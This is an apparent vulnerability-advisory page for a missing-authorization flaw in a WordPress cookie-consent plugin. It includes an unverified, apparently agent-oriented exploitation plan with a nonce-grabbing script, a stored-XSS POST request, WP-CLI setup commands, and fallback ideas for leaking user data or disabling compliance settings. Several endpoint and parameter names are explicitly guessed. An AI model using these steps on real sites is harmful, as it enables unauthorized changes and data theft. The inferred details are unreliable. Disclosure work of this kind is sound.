CVE-2025-68073

GDPR CCPA Compliance Support <= 2.7.4 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
2.7.5
Patched in
10d
Time to patch

Description

The GDPR CCPA Compliance & Cookie Consent Banner plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.7.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.7.4
PublishedJanuary 19, 2026
Last updatedJanuary 28, 2026
Affected pluginninja-gdpr-compliance

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2025-68073 - GDPR CCPA Compliance Support Missing Authorization ## 1. Vulnerability Summary The **GDPR CCPA Compliance & Cookie Consent Banner** plugin (version <= 2.7.4) contains a missing authorization vulnerability within its AJAX handling logic. Specifically, the plugin reg…

Show full research plan

Research Plan: CVE-2025-68073 - GDPR CCPA Compliance Support Missing Authorization

1. Vulnerability Summary

The GDPR CCPA Compliance & Cookie Consent Banner plugin (version <= 2.7.4) contains a missing authorization vulnerability within its AJAX handling logic. Specifically, the plugin registers several AJAX actions via wp_ajax_ hooks that perform administrative tasks (like saving plugin settings) but fails to verify if the requesting user has the manage_options capability. This allows any authenticated user, including those with Subscriber roles, to modify plugin settings, potentially leading to the injection of malicious scripts (Stored XSS) or altering compliance behavior.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: gdpr_ccpa_save_settings (inferred from plugin logic for saving configuration)
  • Vulnerable Parameter: The entire $_POST array is typically processed to update options via update_option().
  • Authentication: Authenticated (Subscriber level or higher).
  • Preconditions: A valid WordPress nonce for the action must be obtained, and the plugin must be active.

3. Code Flow

  1. Hook Registration: In the admin class (likely Admin.php or class-ninja-gdpr-compliance-admin.php), the plugin registers the AJAX handler:
    add_action( 'wp_ajax_gdpr_ccpa_save_settings', array( $this, 'save_settings' ) );
    
  2. Missing Check: The save_settings function is called.
  3. Nonce Verification: The function typically calls check_ajax_referer( 'gdpr_ccpa_admin_nonce', 'nonce' );.
  4. Authorization Failure: The function proceeds to process input and call update_option() without checking current_user_can( 'manage_options' ).
  5. Sink: User-controlled data from $_POST is saved into the WordPress options table.

4. Nonce Acquisition Strategy

The plugin localizes admin parameters to be used by its JavaScript files. Even though this is an "admin" action, the script or the nonce may be exposed to all logged-in users if the plugin enqueues the script globally or on pages accessible to subscribers (like the profile page or a common frontend page if the banner is active).

Extraction Steps:

  1. Identify Script Localization: Search for wp_localize_script in the source code. Look for a variable like gdpr_ccpa_admin_vars or ninja_gdpr_params.
  2. Check for Nonce: The nonce is likely keyed as nonce or gdpr_ccpa_nonce.
  3. Trigger Enqueueing:
    • Create a post/page with the plugin's main shortcode (e.g., [gdpr_cookie_settings] or similar, inferred).
    • Alternatively, navigate to the /wp-admin/profile.php page as a Subscriber, as some plugins enqueue scripts on all admin pages.
  4. Execution Agent Script:
    // Attempt to find the nonce in common global variables used by this plugin
    const nonce = window.gdpr_ccpa_admin_vars?.nonce || 
                  window.ninja_gdpr_params?.nonce || 
                  document.querySelector('#gdpr_ccpa_nonce')?.value;
    return nonce;
    

5. Exploitation Strategy

We will attempt to update the plugin settings to inject a script into the Cookie Banner, demonstrating Stored XSS via the missing authorization.

Step 1: Authentication

Log in as a Subscriber-level user.

Step 2: Nonce Retrieval

Navigate to the site's frontend or the Subscriber's profile page and extract the gdpr_ccpa_admin_nonce.

Step 3: Payload Construction

Construct a POST request to admin-ajax.php.

  • Action: gdpr_ccpa_save_settings
  • Nonce: [EXTRACTED_NONCE]
  • Setting to change: gdpr_ccpa_settings[banner_content] (inferred) or similar settings array.

Step 4: Request (via http_request)

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=gdpr_ccpa_save_settings&nonce=[NONCE]&settings[banner_content]=<script>alert(document.domain)</script>&settings[enabled]=1

6. Test Data Setup

  1. Target Version: Install GDPR CCPA Compliance & Cookie Consent Banner version 2.7.4.
  2. User Creation:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
    
  3. Plugin Activation:
    wp plugin activate ninja-gdpr-compliance
    
  4. Shortcode Page (if needed for nonce):
    wp post create --post_type=page --post_status=publish --post_title="GDPR" --post_content="[gdpr_ccpa_banner]"
    

7. Expected Results

  • The AJAX request should return a 200 OK or a success JSON response (e.g., {"success": true}).
  • The update_option call should succeed despite the user being a Subscriber.
  • The malicious payload (<script>alert(1)</script>) should be saved in the database.

8. Verification Steps

  1. Check Options Table: Use WP-CLI to verify the setting was changed.
    wp option get gdpr_ccpa_settings
    
  2. Verify Frontend Execution: Navigate to the homepage and check if the banner content contains the injected script.
    # Use browser_navigate to the homepage and check for alert or presence of string
    

9. Alternative Approaches

If gdpr_ccpa_save_settings is not the correct action name:

  1. Grep for AJAX actions:
    grep -r "wp_ajax_" wp-content/plugins/ninja-gdpr-compliance/
    
  2. Export Vulnerability: If settings cannot be changed, try the gdpr_ccpa_export_users action (if it exists) to leak user data (PII).
  3. Reset Vulnerability: Try gdpr_ccpa_reset_settings to disable the plugin's compliance features, which is often a secondary unprotected action in such plugins.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.